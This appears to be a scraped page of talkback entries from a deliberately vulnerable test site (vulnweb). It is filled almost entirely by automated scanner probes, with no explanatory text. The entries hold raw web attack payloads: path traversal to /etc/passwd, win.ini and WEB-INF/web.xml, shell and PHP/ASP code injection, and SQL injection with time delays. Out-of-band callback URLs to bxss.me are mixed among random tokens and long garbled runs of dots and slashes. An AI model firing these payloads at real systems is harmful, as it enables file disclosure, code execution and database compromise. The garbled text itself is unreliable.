./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
259.1
11 2016 2:25     pjpegwqg
1
260.print `env`
11 2016 2:25     rbhcenrf
1
261.1
11 2016 2:25     vdbnvesy
1
262.1
11 2016 2:25     melrjabo
file:///etc/passwd
263.1
11 2016 2:25     pjpegwqg
1
264.;set|set&set;
11 2016 2:25     rbhcenrf
1
265.1
11 2016 2:25     melrjabo
/\../\../\../\../\../\../\../etc/passwd
266.1
11 2016 2:25     pjpegwqg
1
267.1
11 2016 2:25     melrjabo
WEB-INF/web.xml?
268.1
11 2016 2:25     pjpegwqg
1
269.1
11 2016 2:25     melrjabo
WEB-INF\web.xml?
270.1
11 2016 2:25     melrjabo
/WEB-INF/web.xml?
271.1
11 2016 2:25     melrjabo
../../../../../../../../../../windows/win.ini
272.1
11 2016 2:25     melrjabo
../../../../../../../../../../boot.ini
273.1
11 2016 2:25     melrjabo
../../../../../../../../../../windows/win.ini
274.1
11 2016 2:25     melrjabo
windowswin.ini
275.1
11 2016 2:25     http://testasp.vulnweb.com/t/xss.html?%00.jpg
1
276.1
11 2016 2:25     melrjabo
................windowswin.ini
277.1
11 2016 2:25     http://testasp.vulnweb.com/t/xss.html?%00.jpg
1
278.1
11 2016 2:25     melrjabo
..\..\..\..\..\..\..\..\windows\win.ini
279.1
11 2016 2:25     melrjabo
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
280.1
11 2016 2:25     kwmaowne
1
281.1
11 2016 2:25     melrjabo
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
282.1
11 2016 2:25     kwmaowne
1
283.1
11 2016 2:25     ontmpskc
1
284.1
11 2016 2:25     '"()
1
285.1
11 2016 2:25     kwmaowne
1
286.1
11 2016 2:25     melrjabo
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
287.1
11 2016 2:25     ontmpskc
1
288.1
11 2016 2:25     kwmaowne
1
289.1
11 2016 2:25     melrjabo
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
290.1
11 2016 2:25     ontmpskc
1
291.1
11 2016 2:25     '"()
1
292.1
11 2016 2:25     odeoagic
1
293.1
11 2016 2:25     kwmaowne
1
294.1
11 2016 2:25     melrjabo
WEB-INF/web.xml?
295.1
11 2016 2:25     ontmpskc
1
296.1
11 2016 2:25     odeoagic
1
297.1
11 2016 2:25     kwmaowne
1
298.1
11 2016 2:25     melrjabo
WEB-INF\web.xml?
299.1
11 2016 2:25     ontmpskc
1
300.1
11 2016 2:25     odeoagic
1
301.1
11 2016 2:25     kwmaowne
1
302.1
11 2016 2:25     melrjabo
/WEB-INF/web.xml?
303.1
11 2016 2:25     odeoagic
1
304.1
11 2016 2:25     kwmaowne
1
305.1
11 2016 2:25     ydlcvdbi
1
306.1
11 2016 2:25     odeoagic
1
307.1
11 2016 2:25     odeoagic
1
308.;print(md5(acunetix_wvs_security_test));
11 2016 2:25     yrvaqebs
1
309.1
11 2016 2:25     ydlcvdbi
1
310.';print(md5(acunetix_wvs_security_test));$a='
11 2016 2:25     yrvaqebs
1
311.";print(md5(acunetix_wvs_security_test));$a="
11 2016 2:25     yrvaqebs
1
312.${@print(md5(acunetix_wvs_security_test))}
11 2016 2:25     yrvaqebs
1
313.${@print(md5(acunetix_wvs_security_test))}\
11 2016 2:25     yrvaqebs
1
314.1
11 2016 2:25     ydlcvdbi
1
315.;print(md5(acunetix_wvs_security_test));
11 2016 2:25     yrvaqebs
1
316.1
11 2016 2:25     pjpegwqg
1
317.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp
318.';print(md5(acunetix_wvs_security_test));$a='
11 2016 2:25     yrvaqebs
1
319.1
11 2016 2:25     pjpegwqg
1
320.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp
321.1
11 2016 2:25     pjpegwqg
1
322.";print(md5(acunetix_wvs_security_test));$a="
11 2016 2:25     yrvaqebs
1
323.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp/.
324.${@print(md5(acunetix_wvs_security_test))}
11 2016 2:25     yrvaqebs
1
325.1
11 2016 2:25     pjpegwqg
1
326.1
11 2016 2:25     ydlcvdbi
1
327.1
11 2016 2:25     pjpegwqg
1
328.${@print(md5(acunetix_wvs_security_test))}\
11 2016 2:25     yrvaqebs
1
329.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp
330.1
11 2016 2:25     pjpegwqg
1
331.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp
332.1
11 2016 2:25     ydlcvdbi
AddTalkback2.asp/.
333.1
11 2016 2:25     ouhaxjrg
http://hitpKMII1ky5k.bxss.me/
334.1
11 2016 2:25     ouhaxjrg
http://hitG0J13KZdmt.bxss.me/
335.1
11 2016 2:25     ontmpskc
1
336.1
11 2016 2:25     ontmpskc
1
337.1
11 2016 2:25     ontmpskc
1
338.1
11 2016 2:25     ontmpskc
1
339.1
11 2016 2:25     ontmpskc
1
340.1
11 2016 2:25     ontmpskc
1
341.1
11 2016 2:25     ontmpskc
1
342.1
11 2016 2:25     ontmpskc
1
343.1
11 2016 2:25     ontmpskc
1
344.1
11 2016 2:25     response.write(9612989*9405858)
1
345.1
11 2016 2:25     ontmpskc
1
346.1
11 2016 2:25     '+response.write(9612989*9405858)+'
1
347.http://hitvXvxa2WP8n.bxss.me/
11 2016 2:25     ouhaxjrg
1
348.1
11 2016 2:25     "+response.write(9612989*9405858)+"
1
349.http://hitX6wbjA6xtK.bxss.me/
11 2016 2:25     ouhaxjrg
1
350.1
11 2016 2:25     response.write(9522907*9707380)
1
351.1
11 2016 2:26     '+response.write(9522907*9707380)+'
1
352.1
11 2016 2:26     "+response.write(9522907*9707380)+"
1
353.1
11 2016 2:26     kwmaowne
1
354.1
11 2016 2:26     kwmaowne
1
355.1
11 2016 2:26     kwmaowne
1
356.1
11 2016 2:26     kwmaowne
1
357.1
11 2016 2:26     )
1
358.1
11 2016 2:26     rbhcenrf
1
359.1
11 2016 2:26     !(()&&!|*|*|
1
360.1
11 2016 2:26     rbhcenrf
1
361.1
11 2016 2:26     ^(#$!@#$)(()))******
1
362.1
11 2016 2:26     ouhaxjrg
1
363.1
11 2016 2:26     rbhcenrf
1
364.1
11 2016 2:26     )
1
365.1
11 2016 2:26     rbhcenrf
1
366.1
11 2016 2:26     !(()&&!|*|*|
1
367.1
11 2016 2:26     rbhcenrf
1
368.1
11 2016 2:26     ^(#$!@#$)(()))******
1
369.1
11 2016 2:26     rbhcenrf
1
370.1
11 2016 2:26     rbhcenrf
1
371.1
11 2016 2:26     ouhaxjrg
1
372.1
11 2016 2:26     ydlcvdbi
1
373.1
11 2016 2:26     ouhaxjrg
1
374.AddTalkback2.asp
11 2016 2:26     ydlcvdbi
1
375.AddTalkback2.asp
11 2016 2:26     ydlcvdbi
1
376.AddTalkback2.asp/.
11 2016 2:26     ydlcvdbi
1
377.1
11 2016 2:26     ydlcvdbi
1
378.AddTalkback2.asp
11 2016 2:26     ydlcvdbi
1
379.1
11 2016 2:26     yrvaqebs
1
380.AddTalkback2.asp
11 2016 2:26     ydlcvdbi
1
381.1
11 2016 2:26     yrvaqebs
1
382.AddTalkback2.asp/.
11 2016 2:26     ydlcvdbi
1
383.1
11 2016 2:26     yrvaqebs
1
384.1
11 2016 2:26     yrvaqebs
1
385.1
11 2016 2:26     mrykmykl
1
386.1
11 2016 2:26     yrvaqebs
1
387.1
11 2016 2:26     ouhaxjrg
1
388.1
11 2016 2:26     ouhaxjrg
1
389.1
11 2016 2:26     mrykmykl
1
390.1
11 2016 2:26     ontmpskc
1
391.1
11 2016 2:26     ontmpskc
1
392.1
11 2016 2:26     iwulhfpm
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
393.1
11 2016 2:26     kwmaowne
1
394.1
11 2016 2:26     ontmpskc
1
395.1
11 2016 2:26     iwulhfpm
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
396.1
11 2016 2:26     ontmpskc
1
397.1
11 2016 2:26     http://hitEXTlr4pvBA.bxss.me/
1
398.1
11 2016 2:26     12345'"\'\");|]*
1
399.1
11 2016 2:26     ontmpskc
1
400.1
11 2016 2:26     ontmpskc
1
401.1
11 2016 2:26     mrykmykl
1
402.1
11 2016 2:26     http://hit0pw4KqrJPF.bxss.me/
1
403.1
11 2016 2:26     rbhcenrf
1
404.1
11 2016 2:26     kwmaowne
1
405.1
11 2016 2:26     mrykmykl
1'"
406.1
11 2016 2:26     ontmpskc
1
407.1
11 2016 2:26     rbhcenrf
1
408.1
11 2016 2:26     ontmpskc
1
409.1
11 2016 2:26     mrykmykl
\
410.1
11 2016 2:26     rbhcenrf
1
411.1
11 2016 2:26     12345'"\'\");|]*
1
412.1
11 2016 2:26     mrykmykl
1
413.1
11 2016 2:26     ontmpskc
1
414.1
11 2016 2:26     rbhcenrf
1
415.1
11 2016 2:26     mrykmykl
@@fBjzc
416.1
11 2016 2:26     ontmpskc
1
417.1
11 2016 2:26     rbhcenrf
1
418.1
11 2016 2:26     yrvaqebs
1
419.1
11 2016 2:26     mrykmykl
JyI=
420.1
11 2016 2:26     rbhcenrf
1
421.1
11 2016 2:26     yrvaqebs
1
422.1
11 2016 2:26     mrykmykl
'"
423.1
11 2016 2:26     rbhcenrf
1
424.)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
11 2016 2:26     iwulhfpm
1
425.1
11 2016 2:26     yrvaqebs
1
426.1
11 2016 2:26     mrykmykl
''""
427.1
11 2016 2:26     rbhcenrf
1
428.)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
11 2016 2:26     iwulhfpm
1
429.1
11 2016 2:26     yrvaqebs
1
430.1
11 2016 2:26     mrykmykl
(select convert(int,CHAR(65)))
431.1
11 2016 2:26     rbhcenrf
1
432.1
11 2016 2:26     mrykmykl
1
433.1
11 2016 2:26     yrvaqebs
1
434.1
11 2016 2:26     rbhcenrf
1
435.1
11 2016 2:26     mrykmykl
1'"
436.1
11 2016 2:26     yrvaqebs
1
437.1
11 2016 2:26     rbhcenrf
1
438.1
11 2016 2:26     yrvaqebs
1
439.1
11 2016 2:26     mrykmykl
\
440.1
11 2016 2:26     rbhcenrf
1
441.1
11 2016 2:26     yrvaqebs
1
442.1
11 2016 2:26     mrykmykl
1
443.1
11 2016 2:26     rbhcenrf
1
444.1
11 2016 2:26     yrvaqebs
1
445.1
11 2016 2:26     mrykmykl
@@sHHpC
446.1
11 2016 2:26     rbhcenrf
1
447.1
11 2016 2:26     yrvaqebs
1
448.1
11 2016 2:26     mrykmykl
JyI=
449.1
11 2016 2:26     fxnwgwpn
/www.vulnweb.com
450.1
11 2016 2:26     ydlcvdbi
1
451.1
11 2016 2:26     mrykmykl
'"
452.1
11 2016 2:26     fxnwgwpn
/www.vulnweb.com
453.1
11 2016 2:26     ydlcvdbi
1
454.1
11 2016 2:26     mrykmykl
''""
455.1
11 2016 2:26     iwulhfpm
1
456.1
11 2016 2:26     ydlcvdbi
1
457.1
11 2016 2:26     mrykmykl
(select convert(int,CHAR(65)))
458.1
11 2016 2:27     ydlcvdbi
1
459.1
11 2016 2:27     iwulhfpm
1
460.1
11 2016 2:27     iwulhfpm
1
461.1
11 2016 2:27     mtesvcrn
1
462./www.vulnweb.com
11 2016 2:27     fxnwgwpn
1
463.1
11 2016 2:27     mtesvcrn
1
464./www.vulnweb.com
11 2016 2:27     fxnwgwpn
1
465.BxSqY0SW
11 2016 2:27     mtesvcrn
1
466.-1 OR 2+648-648-1=0+0+0+1 --
11 2016 2:27     mtesvcrn
1
467.-1 OR 2+438-438-1=0+0+0+1
11 2016 2:27     mtesvcrn
1
468.-1' OR 2+230-230-1=0+0+0+1 --
11 2016 2:27     mtesvcrn
1
469.-1' OR 2+693-693-1=0+0+0+1 or 'DRHtqP4E'='
11 2016 2:27     mtesvcrn
1
470.-1" OR 2+474-474-1=0+0+0+1 --
11 2016 2:27     mtesvcrn
1
471.1
11 2016 2:27     iwulhfpm
1
472.1
11 2016 2:27     iwulhfpm
1
473.-1; waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
474.1
11 2016 2:27     fxnwgwpn
1
475.1
11 2016 2:27     ydlcvdbi
1
476.-1); waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
477.1
11 2016 2:27     ydlcvdbi
1
478.-1)); waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
479.1
11 2016 2:27     ydlcvdbi
1
480.1 waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
481.1
11 2016 2:27     ydlcvdbi
1
482.VZvQcJLw'; waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
483.K46BhxPy'); waitfor delay '0:0:6' --
11 2016 2:27     mtesvcrn
1
484.1
11 2016 2:27     ydlcvdbi
1
485.1
11 2016 2:27     fxnwgwpn
1
486.DjaFikyD')); waitfor delay '0:0:9' --
11 2016 2:27     mtesvcrn
1
487.1
11 2016 2:27     pddydlrt
'"
488.1
11 2016 2:27     ydlcvdbi
1
489.1
11 2016 2:27     fxnwgwpn
1
490.-1;select pg_sleep(9); --
11 2016 2:27     mtesvcrn
1
491.1
11 2016 2:27     pddydlrt